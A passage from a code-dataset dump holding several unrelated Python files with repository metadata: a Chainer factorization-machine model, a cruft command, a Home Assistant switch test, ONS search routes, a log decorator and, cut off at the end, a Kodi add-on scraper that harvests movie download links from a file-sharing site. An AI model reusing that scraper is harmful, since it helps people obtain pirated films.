TestModeEvaluator(extensions.Evaluator): def evaluate(self): model = self.get_target('main') model.train = False ret = super(TestModeEvaluator, self).evaluate() model.train = True return ret def fit(model, train, valid, device=-1, batchsize=4096, n_epoch=500, resume=None, alpha=1e-3): if device >= 0: chainer.cuda.get_device(device).use() model.to_gpu(device) optimizer = chainer.optimizers.Adam(alpha) optimizer.setup(model) # Setup iterators train_iter = chainer.iterators.SerialIterator(train, batchsize) valid_iter = chainer.iterators.SerialIterator(valid, batchsize, repeat=False, shuffle=False) updater = training.StandardUpdater(train_iter, optimizer, device=device) trainer = training.Trainer(updater, (n_epoch, 'epoch'), out='out_' + str(device)) # Setup logging, printing & saving keys = ['loss', 'rmse', 'bias', 'kld0', 'kld1'] keys += ['kldg', 'kldi', 'hypg', 'hypi'] keys += ['hypglv', 'hypilv'] reports = ['epoch'] reports += ['main/' + key for key in keys] reports += ['validation/main/rmse'] trainer.extend(TestModeEvaluator(valid_iter, model, device=device)) trainer.extend(extensions.Evaluator(valid_iter, model, device=device)) trainer.extend(extensions.dump_graph('main/loss')) trainer.extend(extensions.snapshot(), trigger=(10, 'epoch')) trainer.extend(extensions.LogReport(trigger=(1, 'epoch'))) trainer.extend(extensions.PrintReport(reports)) trainer.extend(extensions.ProgressBar(update_interval=10)) # If previous model detected, resume if resume: print("Loading from {}".format(resume)) chainer.serializers.load_npz(resume, trainer) # Run the model trainer.run()

39.94697

79

0.592737

import chainer from chainer import training from chainer.training import extensions from chainer.datasets import TupleDataset from chainer import Chain from chainer import links as L from chainer import functions as F from chainer import reporter from chainer import cuda import numpy as np def dot(a, b): return F.sum(a * b, axis=-1) def batch_interactions(x): xp = cuda.get_array_module(x.data) batchsize = x.shape[0] shape = (batchsize, x.shape[1] ** 2) left = xp.tile(x.data, (1, x.shape[1])) right = xp.repeat(x.data, x.shape[1]).reshape(shape) return left, right class VFM(Chain): lv_floor = -100.0 def __init__(self, n_features=None, n_dim=1 , lossfun=F.mean_squared_error, lambda0=1, lambda1=1, lambda2=1, init_bias_mu=0.0, init_bias_lv=0.0, intx_term=True, total_nobs=1): self.n_dim = n_dim self.n_features = n_features self.lossfun = lossfun self.lambda0 = lambda0 self.lambda1 = lambda1 self.lambda2 = lambda2 self.intx_term = intx_term self.total_nobs = total_nobs super(VFM, self).__init__(bias_mu=L.Bias(shape=(1,)), bias_lv=L.Bias(shape=(1,)), slop_mu=L.Bias(shape=(1, 1)), slop_lv=L.Bias(shape=(1, 1)), slop_delta_mu=L.EmbedID(n_features, 1, ignore_label=-1), slop_delta_lv=L.EmbedID(n_features, 1, ignore_label=-1), feat_mu_vec=L.Bias(shape=(1, 1, n_dim)), feat_lv_vec=L.Bias(shape=(1, 1, n_dim)), feat_delta_mu=L.EmbedID(n_features, n_dim, ignore_label=-1), feat_delta_lv=L.EmbedID(n_features, n_dim, ignore_label=-1)) c = np.sqrt(n_features * n_dim) * 1e3 d = np.sqrt(n_features) * 1e3 self.feat_delta_mu.W.data[...] = np.random.randn(n_features, n_dim) / c self.feat_delta_lv.W.data[...] = np.random.randn(n_features, n_dim) / c self.slop_delta_mu.W.data[...] = np.random.randn(n_features, 1) / d self.slop_delta_lv.W.data[...] = np.random.randn(n_features, 1) / d self.bias_mu.b.data[...] *= 0.0 self.bias_mu.b.data[...] += init_bias_mu self.bias_lv.b.data[...] *= 0.0 self.bias_lv.b.data[...] += init_bias_lv def term_bias(self, bs, train=True): shape = (bs, 1,) bs_mu = F.broadcast_to(self.bias_mu.b, shape) bs_lv = F.broadcast_to(self.bias_lv.b, shape) bias = F.flatten(F.gaussian(bs_mu, bs_lv)) # from a very narrow distribution about the mean. # Useful for validation dataset when we want to only guess # the mean. if not train: bs_lv += self.lv_floor # Compute prior on the bias, so compute the KL div # from the KL(N(mu_bias, var_bias) | N(0, 1)) kld = F.gaussian_kl_divergence(self.bias_mu.b, self.bias_lv.b) return bias, kld def term_slop(self, loc, val, bs, nf, train=True): shape = (bs, nf) # Reshape all of our constants pr_mu = F.broadcast_to(self.slop_mu.b, shape) pr_lv = F.broadcast_to(self.slop_lv.b, shape) # This is either zero or a very negative number # indicating to sample N(mean, logvar) or just draw # the mean preicsely if not train: pr_lv += self.lv_floor # The feature slopes are grouped together so that they # all share a common mean. Then individual features slop_delta_lv # are shrunk towards zero, which effectively sets features to fall # back on the group mean. sl_mu = F.reshape(self.slop_delta_mu(loc), shape) + pr_mu sl_lv = F.reshape(self.slop_delta_lv(loc), shape) + pr_lv coef = F.gaussian(sl_mu, sl_lv) slop = F.sum(coef * val, axis=1) # Calculate divergence between group mean and N(0, 1) kld1 = F.gaussian_kl_divergence(self.slop_mu.b, self.slop_lv.b) # Calculate divergence of individual delta means and delta vars args = (self.slop_delta_mu.W, self.slop_delta_lv.W) kld2 = F.gaussian_kl_divergence(*args) return slop, kld1 + kld2 def term_feat(self, iloc, jloc, ival, jval, bs, nf, train=True): # Change all of the shapes to form interaction vectors shape = (bs, nf * 2, self.n_dim) feat_mu_vec = F.broadcast_to(self.feat_mu_vec.b, shape) feat_lv_vec = F.broadcast_to(self.feat_lv_vec.b, shape) if not train: feat_lv_vec += self.lv_floor # Construct the interaction mean and variance # iloc is (bs, nf), feat(iloc) is (bs, nf, ndim) and # dot(feat, feat) is (bs, nf) ivec = F.gaussian(feat_mu_vec + self.feat_delta_mu(iloc), feat_lv_vec + self.feat_delta_lv(iloc)) jvec = F.gaussian(feat_mu_vec + self.feat_delta_mu(jloc), feat_lv_vec + self.feat_delta_lv(jloc)) # feat is (bs, ) feat = dot(F.sum(ivec * jvec, axis=2), ival * jval) # Compute the KLD for the group mean vector and variance vector kld1 = F.gaussian_kl_divergence(self.feat_mu_vec.b, self.feat_lv_vec.b) # Compute the KLD for vector deviations from the group mean and var kld2 = F.gaussian_kl_divergence(self.feat_delta_mu.W, self.feat_delta_lv.W) return feat, kld1 + kld2 def forward(self, loc, val, y, train=True): bs = val.data.shape[0] nf = val.data.shape[1] iloc, jloc = batch_interactions(loc) ival, jval = batch_interactions(val) # Compute scalar bias term bias, kld0 = self.term_bias(bs, train=train) # Compute the feature weights slop, kld1 = self.term_slop(loc, val, bs, nf, train=train) # Compute factorized weights on interaction features feat, kld2 = self.term_feat(iloc, jloc, ival, jval, bs, nf, train=train) # Optionally choose to include the interaction term # without this is linear regression pred = bias + slop if self.intx_term: pred += feat return pred, kld0, kld1, kld2 def __call__(self, loc, val, y, train=True): bs = val.data.shape[0] pred, kld0, kld1, kld2 = self.forward(loc, val, y, train=train) # Compute MSE loss mse = F.mean_squared_error(pred, y) rmse = F.sqrt(mse) # Only used for reporting # Now compute the total KLD loss kldt = kld0 * self.lambda0 + kld1 * self.lambda1 + kld2 * self.lambda2 # Total loss is MSE plus regularization losses loss = mse + kldt * (1.0 / self.total_nobs) # Log the errors logs = {'loss': loss, 'rmse': rmse, 'kld0': kld0, 'kld1': kld1, 'kld2': kld2, 'kldt': kldt, 'bias': F.sum(self.bias_mu.b)} reporter.report(logs, self) return loss class TestModeEvaluator(extensions.Evaluator): def evaluate(self): model = self.get_target('main') model.train = False ret = super(TestModeEvaluator, self).evaluate() model.train = True return ret def fit(model, train, valid, device=-1, batchsize=4096, n_epoch=500, resume=None, alpha=1e-3): if device >= 0: chainer.cuda.get_device(device).use() model.to_gpu(device) optimizer = chainer.optimizers.Adam(alpha) optimizer.setup(model) # Setup iterators train_iter = chainer.iterators.SerialIterator(train, batchsize) valid_iter = chainer.iterators.SerialIterator(valid, batchsize, repeat=False, shuffle=False) updater = training.StandardUpdater(train_iter, optimizer, device=device) trainer = training.Trainer(updater, (n_epoch, 'epoch'), out='out_' + str(device)) # Setup logging, printing & saving keys = ['loss', 'rmse', 'bias', 'kld0', 'kld1'] keys += ['kldg', 'kldi', 'hypg', 'hypi'] keys += ['hypglv', 'hypilv'] reports = ['epoch'] reports += ['main/' + key for key in keys] reports += ['validation/main/rmse'] trainer.extend(TestModeEvaluator(valid_iter, model, device=device)) trainer.extend(extensions.Evaluator(valid_iter, model, device=device)) trainer.extend(extensions.dump_graph('main/loss')) trainer.extend(extensions.snapshot(), trigger=(10, 'epoch')) trainer.extend(extensions.LogReport(trigger=(1, 'epoch'))) trainer.extend(extensions.PrintReport(reports)) trainer.extend(extensions.ProgressBar(update_interval=10)) # If previous model detected, resume if resume: print("Loading from {}".format(resume)) chainer.serializers.load_npz(resume, trainer) # Run the model trainer.run()

true

f70537ece98c2114c69c2bae94f8b653352137eb

1,406

py

Python

cruft/_commands/check.py

lkubb/cruft

0c6de85d974197969c0e65913857eaa36b788e5e

[ "MIT" ]

293

2020-08-18T05:52:45.000Z

2022-03-31T20:39:43.000Z

cruft/_commands/check.py

lkubb/cruft

0c6de85d974197969c0e65913857eaa36b788e5e

[ "MIT" ]

102

2020-08-28T16:38:34.000Z

2022-03-31T11:01:41.000Z

cruft/_commands/check.py

lkubb/cruft

0c6de85d974197969c0e65913857eaa36b788e5e

[ "MIT" ]

36

2020-08-28T16:34:10.000Z

2022-03-31T21:55:53.000Z

import json from pathlib import Path from typing import Optional import typer from . import utils from .utils import example from .utils.iohelper import AltTemporaryDirectory @example() def check( project_dir: Path = Path("."), checkout: Optional[str] = None, strict: bool = True ) -> bool: """Checks to see if there have been any updates to the Cookiecutter template used to generate this project.""" cruft_file = utils.cruft.get_cruft_file(project_dir) cruft_state = json.loads(cruft_file.read_text()) with AltTemporaryDirectory() as cookiecutter_template_dir: with utils.cookiecutter.get_cookiecutter_repo( cruft_state["template"], Path(cookiecutter_template_dir), checkout, filter="blob:none", no_checkout=True, ) as repo: last_commit = repo.head.object.hexsha if utils.cruft.is_project_updated(repo, cruft_state["commit"], last_commit, strict): typer.secho( "SUCCESS: Good work! Project's cruft is up to date " "and as clean as possible :).", fg=typer.colors.GREEN, ) return True typer.secho( "FAILURE: Project's cruft is out of date! Run `cruft update` to clean this mess up.", fg=typer.colors.RED, ) return False

32.697674

97

0.619488

import json from pathlib import Path from typing import Optional import typer from . import utils from .utils import example from .utils.iohelper import AltTemporaryDirectory @example() def check( project_dir: Path = Path("."), checkout: Optional[str] = None, strict: bool = True ) -> bool: cruft_file = utils.cruft.get_cruft_file(project_dir) cruft_state = json.loads(cruft_file.read_text()) with AltTemporaryDirectory() as cookiecutter_template_dir: with utils.cookiecutter.get_cookiecutter_repo( cruft_state["template"], Path(cookiecutter_template_dir), checkout, filter="blob:none", no_checkout=True, ) as repo: last_commit = repo.head.object.hexsha if utils.cruft.is_project_updated(repo, cruft_state["commit"], last_commit, strict): typer.secho( "SUCCESS: Good work! Project's cruft is up to date " "and as clean as possible :).", fg=typer.colors.GREEN, ) return True typer.secho( "FAILURE: Project's cruft is out of date! Run `cruft update` to clean this mess up.", fg=typer.colors.RED, ) return False

true

f70538f65e8861717efd58fa60cfc24ef08b2d0d

3,288

py

Python

tests/components/zha/test_switch.py

Squixx/home-assistant

152997e7589d3bad63181ca78cc296f54ae25aa2

[ "Apache-2.0" ]

null

tests/components/zha/test_switch.py

Squixx/home-assistant

152997e7589d3bad63181ca78cc296f54ae25aa2

[ "Apache-2.0" ]

null

tests/components/zha/test_switch.py

Squixx/home-assistant

152997e7589d3bad63181ca78cc296f54ae25aa2

[ "Apache-2.0" ]

null

"""Test zha switch.""" from unittest.mock import call, patch import pytest import zigpy.zcl.clusters.general as general import zigpy.zcl.foundation as zcl_f from homeassistant.components.switch import DOMAIN from homeassistant.const import STATE_OFF, STATE_ON, STATE_UNAVAILABLE from .common import ( async_enable_traffic, find_entity_id, make_attribute, make_zcl_header, ) from tests.common import mock_coro ON = 1 OFF = 0 @pytest.fixture def zigpy_device(zigpy_device_mock): """Device tracker zigpy device.""" endpoints = { 1: { "in_clusters": [general.Basic.cluster_id, general.OnOff.cluster_id], "out_clusters": [], "device_type": 0, } } return zigpy_device_mock(endpoints) async def test_switch(hass, zha_gateway, zha_device_joined_restored, zigpy_device): """Test zha switch platform.""" zha_device = await zha_device_joined_restored(zigpy_device) cluster = zigpy_device.endpoints.get(1).on_off entity_id = await find_entity_id(DOMAIN, zha_device, hass) assert entity_id is not None # test that the switch was created and that its state is unavailable assert hass.states.get(entity_id).state == STATE_UNAVAILABLE # allow traffic to flow through the gateway and device await async_enable_traffic(hass, zha_gateway, [zha_device]) # test that the state has changed from unavailable to off assert hass.states.get(entity_id).state == STATE_OFF # turn on at switch attr = make_attribute(0, 1) hdr = make_zcl_header(zcl_f.Command.Report_Attributes) cluster.handle_message(hdr, [[attr]]) await hass.async_block_till_done() assert hass.states.get(entity_id).state == STATE_ON # turn off at switch attr.value.value = 0 cluster.handle_message(hdr, [[attr]]) await hass.async_block_till_done() assert hass.states.get(entity_id).state == STATE_OFF # turn on from HA with patch( "zigpy.zcl.Cluster.request", return_value=mock_coro([0x00, zcl_f.Status.SUCCESS]), ): # turn on via UI await hass.services.async_call( DOMAIN, "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(cluster.request.mock_calls) == 1 assert cluster.request.call_args == call( False, ON, (), expect_reply=True, manufacturer=None ) # turn off from HA with patch( "zigpy.zcl.Cluster.request", return_value=mock_coro([0x01, zcl_f.Status.SUCCESS]), ): # turn off via UI await hass.services.async_call( DOMAIN, "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(cluster.request.mock_calls) == 1 assert cluster.request.call_args == call( False, OFF, (), expect_reply=True, manufacturer=None ) # test joining a new switch to the network and HA cluster.bind.reset_mock() cluster.configure_reporting.reset_mock() await zha_gateway.async_device_initialized(zigpy_device) await hass.async_block_till_done() assert cluster.bind.call_count == 1 assert cluster.bind.await_count == 1 assert cluster.configure_reporting.call_count == 1 assert cluster.configure_reporting.await_count == 1

31.615385

83

0.687956

from unittest.mock import call, patch import pytest import zigpy.zcl.clusters.general as general import zigpy.zcl.foundation as zcl_f from homeassistant.components.switch import DOMAIN from homeassistant.const import STATE_OFF, STATE_ON, STATE_UNAVAILABLE from .common import ( async_enable_traffic, find_entity_id, make_attribute, make_zcl_header, ) from tests.common import mock_coro ON = 1 OFF = 0 @pytest.fixture def zigpy_device(zigpy_device_mock): endpoints = { 1: { "in_clusters": [general.Basic.cluster_id, general.OnOff.cluster_id], "out_clusters": [], "device_type": 0, } } return zigpy_device_mock(endpoints) async def test_switch(hass, zha_gateway, zha_device_joined_restored, zigpy_device): zha_device = await zha_device_joined_restored(zigpy_device) cluster = zigpy_device.endpoints.get(1).on_off entity_id = await find_entity_id(DOMAIN, zha_device, hass) assert entity_id is not None assert hass.states.get(entity_id).state == STATE_UNAVAILABLE await async_enable_traffic(hass, zha_gateway, [zha_device]) assert hass.states.get(entity_id).state == STATE_OFF attr = make_attribute(0, 1) hdr = make_zcl_header(zcl_f.Command.Report_Attributes) cluster.handle_message(hdr, [[attr]]) await hass.async_block_till_done() assert hass.states.get(entity_id).state == STATE_ON attr.value.value = 0 cluster.handle_message(hdr, [[attr]]) await hass.async_block_till_done() assert hass.states.get(entity_id).state == STATE_OFF with patch( "zigpy.zcl.Cluster.request", return_value=mock_coro([0x00, zcl_f.Status.SUCCESS]), ): await hass.services.async_call( DOMAIN, "turn_on", {"entity_id": entity_id}, blocking=True ) assert len(cluster.request.mock_calls) == 1 assert cluster.request.call_args == call( False, ON, (), expect_reply=True, manufacturer=None ) with patch( "zigpy.zcl.Cluster.request", return_value=mock_coro([0x01, zcl_f.Status.SUCCESS]), ): await hass.services.async_call( DOMAIN, "turn_off", {"entity_id": entity_id}, blocking=True ) assert len(cluster.request.mock_calls) == 1 assert cluster.request.call_args == call( False, OFF, (), expect_reply=True, manufacturer=None ) cluster.bind.reset_mock() cluster.configure_reporting.reset_mock() await zha_gateway.async_device_initialized(zigpy_device) await hass.async_block_till_done() assert cluster.bind.call_count == 1 assert cluster.bind.await_count == 1 assert cluster.configure_reporting.call_count == 1 assert cluster.configure_reporting.await_count == 1

true

f7053ab01509c24ced03b369dae6ac255d9ca094

4,288

py

Python

dp_conceptual_search/api/search/routes.py

flaxandteal/dp-conceptual-search

16c6383a61ba5b7069337c2626a0dc243bfe9d35

[ "MIT" ]

null

dp_conceptual_search/api/search/routes.py

flaxandteal/dp-conceptual-search

16c6383a61ba5b7069337c2626a0dc243bfe9d35

[ "MIT" ]

null

dp_conceptual_search/api/search/routes.py

flaxandteal/dp-conceptual-search

16c6383a61ba5b7069337c2626a0dc243bfe9d35

[ "MIT" ]

null

""" This file contains all routes for the /search API """ from sanic import Blueprint from sanic.response import HTTPResponse from dp4py_sanic.api.response.json_response import json from dp_conceptual_search.config import CONFIG from dp_conceptual_search.api.request import ONSRequest from dp_conceptual_search.ons.search.index import Index from dp_conceptual_search.ons.search.client.search_engine import SearchEngine from dp_conceptual_search.ons.search.response.search_result import SearchResult from dp_conceptual_search.api.search.sanic_search_engine import SanicSearchEngine from dp_conceptual_search.api.search.conceptual import routes as conceptual_routes search_blueprint = Blueprint('search', url_prefix='/search') @search_blueprint.route('/departments', methods=['GET'], strict_slashes=True) async def ons_departments_query(request: ONSRequest) -> HTTPResponse: """ Handles departments queries to the departments index :param request: :return: """ # Initialise the search engine sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.DEPARTMENTS) # Perform the request search_result: SearchResult = await sanic_search_engine.departments_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/', methods=['GET', 'POST'], strict_slashes=False) async def search(request: ONSRequest) -> HTTPResponse: """ API which combines the content, counts and featured result queries into one :param request: :return: """ if CONFIG.API.redirect_conceptual_search: return await conceptual_routes.search(request) # Initialise the search engine sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) result = await sanic_search_engine.search(request) return json(request, result, 200) @search_blueprint.route('/content', methods=['GET', 'POST'], strict_slashes=True) async def ons_content_query(request: ONSRequest) -> HTTPResponse: """ Handles content queries to the API. :param request: :return: """ if CONFIG.API.redirect_conceptual_search: return await conceptual_routes.conceptual_content_query(request) # Initialise the search engine sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) # Perform the request search_result: SearchResult = await sanic_search_engine.content_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/counts', methods=['GET', 'POST'], strict_slashes=True) async def ons_counts_query(request: ONSRequest) -> HTTPResponse: """ Handles type counts queries to the API. :param request: :return: """ if CONFIG.API.redirect_conceptual_search: return await conceptual_routes.conceptual_counts_query(request) # Initialise the search engine sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) # Perform the request search_result: SearchResult = await sanic_search_engine.type_counts_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/featured', methods=['GET'], strict_slashes=True) async def ons_featured_result_query(request: ONSRequest) -> HTTPResponse: """ Handles featured result queries (i.e product and home page census pages) :param request: :return: """ # Initialise the search engine sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) # Perform the request search_result: SearchResult = await sanic_search_engine.featured_result_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/uri/', methods=['GET', 'POST']) @search_blueprint.route('/uri/<path:path>', methods=['GET', 'POST']) async def search_by_uri(request: ONSRequest, path: str): """ Search for a page by it's uri :param request: :param path: :return: """ # Initialise the search engine sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) # Perform the request search_result: SearchResult = await sanic_search_engine.search_by_uri(request, path) return json(request, search_result.to_dict(), 200)

34.304

90

0.752332

from sanic import Blueprint from sanic.response import HTTPResponse from dp4py_sanic.api.response.json_response import json from dp_conceptual_search.config import CONFIG from dp_conceptual_search.api.request import ONSRequest from dp_conceptual_search.ons.search.index import Index from dp_conceptual_search.ons.search.client.search_engine import SearchEngine from dp_conceptual_search.ons.search.response.search_result import SearchResult from dp_conceptual_search.api.search.sanic_search_engine import SanicSearchEngine from dp_conceptual_search.api.search.conceptual import routes as conceptual_routes search_blueprint = Blueprint('search', url_prefix='/search') @search_blueprint.route('/departments', methods=['GET'], strict_slashes=True) async def ons_departments_query(request: ONSRequest) -> HTTPResponse: sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.DEPARTMENTS) search_result: SearchResult = await sanic_search_engine.departments_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/', methods=['GET', 'POST'], strict_slashes=False) async def search(request: ONSRequest) -> HTTPResponse: if CONFIG.API.redirect_conceptual_search: return await conceptual_routes.search(request) sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) result = await sanic_search_engine.search(request) return json(request, result, 200) @search_blueprint.route('/content', methods=['GET', 'POST'], strict_slashes=True) async def ons_content_query(request: ONSRequest) -> HTTPResponse: if CONFIG.API.redirect_conceptual_search: return await conceptual_routes.conceptual_content_query(request) sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) search_result: SearchResult = await sanic_search_engine.content_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/counts', methods=['GET', 'POST'], strict_slashes=True) async def ons_counts_query(request: ONSRequest) -> HTTPResponse: if CONFIG.API.redirect_conceptual_search: return await conceptual_routes.conceptual_counts_query(request) sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) search_result: SearchResult = await sanic_search_engine.type_counts_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/featured', methods=['GET'], strict_slashes=True) async def ons_featured_result_query(request: ONSRequest) -> HTTPResponse: sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) search_result: SearchResult = await sanic_search_engine.featured_result_query(request) return json(request, search_result.to_dict(), 200) @search_blueprint.route('/uri/', methods=['GET', 'POST']) @search_blueprint.route('/uri/<path:path>', methods=['GET', 'POST']) async def search_by_uri(request: ONSRequest, path: str): sanic_search_engine = SanicSearchEngine(request.app, SearchEngine, Index.ONS) search_result: SearchResult = await sanic_search_engine.search_by_uri(request, path) return json(request, search_result.to_dict(), 200)

true

f7053bc53f930cd972b3fb116080db388c2bf1b4

562

py

Python

common_utils/log_decorator.py

beansKingdom/CommonUtils

85f658671ddc6d52dc65e8d8c8bec5474a97a19f

[ "MIT" ]

null

common_utils/log_decorator.py

beansKingdom/CommonUtils

85f658671ddc6d52dc65e8d8c8bec5474a97a19f

[ "MIT" ]

4

2020-03-24T17:40:50.000Z

2021-06-02T00:25:27.000Z

common_utils/log_decorator.py

beansKingdom/CommonUtils

85f658671ddc6d52dc65e8d8c8bec5474a97a19f

[ "MIT" ]

null

# -*- coding: UTF-8 -*- from common_utils.new_log import NewLog class LogDecorator: log = NewLog(__name__) logger = log.get_log() def __call__(self, func): def wrapper(*args, **kw): self.logger.debug("call method %s ===============" % func.__name__) self.logger.debug("method [%s] input args: [%s], kw: [%s]" % (func.__name__, args, kw)) result = func(*args, **kw) self.logger.debug("method [%s] response: [%s]" % (func.__name__, result)) return result return wrapper

29.578947

100

0.553381

from common_utils.new_log import NewLog class LogDecorator: log = NewLog(__name__) logger = log.get_log() def __call__(self, func): def wrapper(*args, **kw): self.logger.debug("call method %s ===============" % func.__name__) self.logger.debug("method [%s] input args: [%s], kw: [%s]" % (func.__name__, args, kw)) result = func(*args, **kw) self.logger.debug("method [%s] response: [%s]" % (func.__name__, result)) return result return wrapper

true

f7053c939c0ae2e74aeebb8a418132b816d2cc31

6,017

py

Python

lib/lambdascrapers/sources_incursion/en_incursion-1.20(final)/ultrahd.py

proxium/script.module.lambdascrapers

f96ad4c7c44c011c9d0007a83edde8c4797e0e2f

[ "Beerware" ]

11

2018-12-21T22:52:37.000Z

2021-09-02T02:13:50.000Z

lib/lambdascrapers/sources_incursion/en_incursion-1.20(final)/ultrahd.py

proxium/script.module.lambdascrapers

f96ad4c7c44c011c9d0007a83edde8c4797e0e2f

[ "Beerware" ]

null

lib/lambdascrapers/sources_incursion/en_incursion-1.20(final)/ultrahd.py

proxium/script.module.lambdascrapers

f96ad4c7c44c011c9d0007a83edde8c4797e0e2f

[ "Beerware" ]

1

2020-02-01T19:52:36.000Z

# -*- coding: utf-8 -*- ''' Covenant Add-on This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ''' import re,urllib,urlparse from resources.lib.modules import cleantitle from resources.lib.modules import client from resources.lib.modules import debrid from resources.lib.modules import source_utils from resources.lib.modules import dom_parser2 class source: def __init__(self): self.priority = 1 self.language = ['en'] self.domains = ['ultrahdindir.com'] self.base_link = 'http://ultrahdindir.com' self.post_link = '/index.php?do=search' def movie(self, imdb, title, localtitle, aliases, year): try: url = {'imdb': imdb, 'title': title, 'year': year} url = urllib.urlencode(url) return url except: return def sources(self, url, hostDict, hostprDict): try: sources = [] if url == None: return sources if debrid.status() is False: raise Exception() data = urlparse.parse_qs(url) data = dict([(i, data[i][0]) if data[i] else (i, '') for i in data]) title = data['title'].replace(':','').lower() year = data['year'] query = '%s %s' % (data['title'], data['year']) query = re.sub('(\\\|/| -|:|;|\*|\?|"|\'|<|>|\|)', ' ', query) url = urlparse.urljoin(self.base_link, self.post_link) post = 'do=search&subaction=search&search_start=0&full_search=0&result_from=1&story=%s' % urllib.quote_plus(query) r = client.request(url, post=post) r = client.parseDOM(r, 'div', attrs={'class': 'box-out margin'}) r = [(dom_parser2.parse_dom(i, 'div', attrs={'class':'news-title'})) for i in r if data['imdb'] in i] r = [(dom_parser2.parse_dom(i[0], 'a', req='href')) for i in r if i] r = [(i[0].attrs['href'], i[0].content) for i in r if i] hostDict = hostprDict + hostDict for item in r: try: name = item[1] y = re.findall('$(\d{4})$', name)[0] if not y == year: raise Exception() s = re.findall('((?:\d+\.\d+|\d+\,\d+|\d+)\s*(?:GB|GiB|Gb|MB|MiB|Mb))', name) s = s[0] if s else '0' data = client.request(item[0]) data = dom_parser2.parse_dom(data, 'div', attrs={'id': 'r-content'}) data = re.findall('\s*<b><a href=.+?>(.+?)</b>.+?<u><b><a href="(.+?)".+?</a></b></u>', data[0].content, re.DOTALL) u = [(i[0], i[1], s) for i in data if i] for name, url, size in u: try: if '4K' in name: quality = '4K' elif '1080p' in name: quality = '1080p' elif '720p' in name: quality = '720p' elif any(i in ['dvdscr', 'r5', 'r6'] for i in name): quality = 'SCR' elif any(i in ['camrip', 'tsrip', 'hdcam', 'hdts', 'dvdcam', 'dvdts', 'cam', 'telesync', 'ts'] for i in name): quality = 'CAM' else: quality = '720p' info = [] if '3D' in name or '.3D.' in url: info.append('3D'); quality = '1080p' if any(i in ['hevc', 'h265', 'x265'] for i in name): info.append('HEVC') try: size = re.findall('((?:\d+\.\d+|\d+\,\d+|\d+)\s*(?:GB|GiB|Gb|MB|MiB|Mb))', size)[-1] div = 1 if size.endswith(('Gb', 'GiB', 'GB')) else 1024 size = float(re.sub('[^0-9|/.|/,]', '', size)) / div size = '%.2f GB' % size info.append(size) except: pass info = ' | '.join(info) url = client.replaceHTMLCodes(url) url = url.encode('utf-8') if any(x in url for x in ['.rar', '.zip', '.iso', 'turk']):continue if 'ftp' in url: host = 'COV'; direct = True; else: direct = False; host= 'turbobit.net' #if not host in hostDict: continue host = client.replaceHTMLCodes(host) host = host.encode('utf-8') sources.append({'source': host, 'quality': quality, 'language': 'en', 'url': url, 'info': info, 'direct': direct, 'debridonly': True}) except: pass except: pass return sources except: return sources def resolve(self, url): return url

41.784722

127

0.442081

import re,urllib,urlparse from resources.lib.modules import cleantitle from resources.lib.modules import client from resources.lib.modules import debrid from resources.lib.modules import source_utils from resources.lib.modules import dom_parser2 class source: def __init__(self): self.priority = 1 self.language = ['en'] self.domains = ['ultrahdindir.com'] self.base_link = 'http://ultrahdindir.com' self.post_link = '/index.php?do=search' def movie(self, imdb, title, localtitle, aliases, year): try: url = {'imdb': imdb, 'title': title, 'year': year} url = urllib.urlencode(url) return url except: return def sources(self, url, hostDict, hostprDict): try: sources = [] if url == None: return sources if debrid.status() is False: raise Exception() data = urlparse.parse_qs(url) data = dict([(i, data[i][0]) if data[i] else (i, '') for i in data]) title = data['title'].replace(':','').lower() year = data['year'] query = '%s %s' % (data['title'], data['year']) query = re.sub('(\\\|/| -|:|;|\*|\?|"|\'|<|>|\|)', ' ', query) url = urlparse.urljoin(self.base_link, self.post_link) post = 'do=search&subaction=search&search_start=0&full_search=0&result_from=1&story=%s' % urllib.quote_plus(query) r = client.request(url, post=post) r = client.parseDOM(r, 'div', attrs={'class': 'box-out margin'}) r = [(dom_parser2.parse_dom(i, 'div', attrs={'class':'news-title'})) for i in r if data['imdb'] in i] r = [(dom_parser2.parse_dom(i[0], 'a', req='href')) for i in r if i] r = [(i[0].attrs['href'], i[0].content) for i in r if i] hostDict = hostprDict + hostDict for item in r: try: name = item[1] y = re.findall('$(\d{4})$', name)[0] if not y == year: raise Exception() s = re.findall('((?:\d+\.\d+|\d+\,\d+|\d+)\s*(?:GB|GiB|Gb|MB|MiB|Mb))', name) s = s[0] if s else '0' data = client.request(item[0]) data = dom_parser2.parse_dom(data, 'div', attrs={'id': 'r-content'}) data = re.findall('\s*<b><a href=.+?>(.+?)</b>.+?<u><b><a href="(.+?)".+?</a></b></u>', data[0].content, re.DOTALL) u = [(i[0], i[1], s) for i in data if i] for name, url, size in u: try: if '4K' in name: quality = '4K' elif '1080p' in name: quality = '1080p' elif '720p' in name: quality = '720p' elif any(i in ['dvdscr', 'r5', 'r6'] for i in name): quality = 'SCR' elif any(i in ['camrip', 'tsrip', 'hdcam', 'hdts', 'dvdcam', 'dvdts', 'cam', 'telesync', 'ts'] for i in name): quality = 'CAM' else: quality = '720p' info = [] if '3D' in name or '.3D.' in url: info.append('3D'); quality = '1080p' if any(i in ['hevc', 